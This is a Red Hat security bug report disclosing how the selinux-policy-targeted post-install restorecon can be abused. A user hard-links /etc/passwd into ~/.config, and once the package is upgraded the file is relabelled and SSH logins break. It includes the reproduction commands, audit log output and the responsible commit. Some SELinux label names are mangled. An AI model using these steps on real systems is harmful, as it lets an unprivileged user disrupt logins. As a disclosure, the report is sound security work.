REDHAT-BUG-1218672: Low severity Selinux selinux-policy-targeted vulnerability

The following issue was reported against selinux-policy:

Make sure that the selinux-policy-targeted package is not up-to-date when you start. You also need to set the sysctl fs.protectedhardlinks to 0. (If I recall correctly, the relabel code has a race, so you will still be able to exploit it even with protected hard links/symbolic links, it's just more difficult.)

$ cd $ mkdir .config $ cd .config $ ln /etc/passwd $ ls -lZ passwd -rw-r--r--. root root systemu:objectr:passwdfilet:s0 passwd

And as root:

yum upgrade selinux-policy-targeted

Back as the user:

$ ls -lZ passwd -rw-r--r--. root root systemu:objectr:confighomet:s0 passwd $ ls -lZ /etc/passwd -rw-r--r--. root root systemu:objectr:confighomet:s0 /etc/passwd

This prevents login with SSH, among other things:

type=SYSCALL msg=audit(1430136061.901:101): arch=c000003e syscall=2 success=no exit=-13 a0=7fee52cc1d8a a1=80000 a2=1b6 a3=0 items=0 ppid=4899 pid=4900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="unixchkpwd" exe="/usr/sbin/unixchkpwd" subj=systemu:systemr:chkpwdt:s0-s0:c0.c1023 key=(null) type=AVC msg=audit(1430136061.901:101): avc: denied { read } for pid=4900 comm="unixchkpwd" name="passwd" dev="dm-1" ino=69128317 scontext=systemu:systemr:chkpwdt:s0-s0:c0.c1023 tcontext=systemu:objectr:confighomet:s0 tclass=file

The cause is easily identified, at the bottom of the “rpm -q --scripts selinux-policy-targeted” output:

if /sbin/restorecon -R /home//.config 2> /dev/null;then continue; fi;fi;exit 0

This particularly easy exploit vector was introduced in this spec file commit for RHEL 7:

commit 5eea0f4403c4b8b3ef3ece9584c103e098048c64 Author: Dan Walsh <dwalsh> Date: Wed Feb 20 14:12:19 2013 +0100

Always run restorecon at install time to make sure key files are labeled correctly

The underlying issue is older, and also affects RHEL 6, but exploiting it there is more difficult because you need a policy update which relabels a user-writable part of the file system, and I suppose those are rare.

Acknowledgements:

This issue was discovered by Florian Weimer of Red Hat Product Security.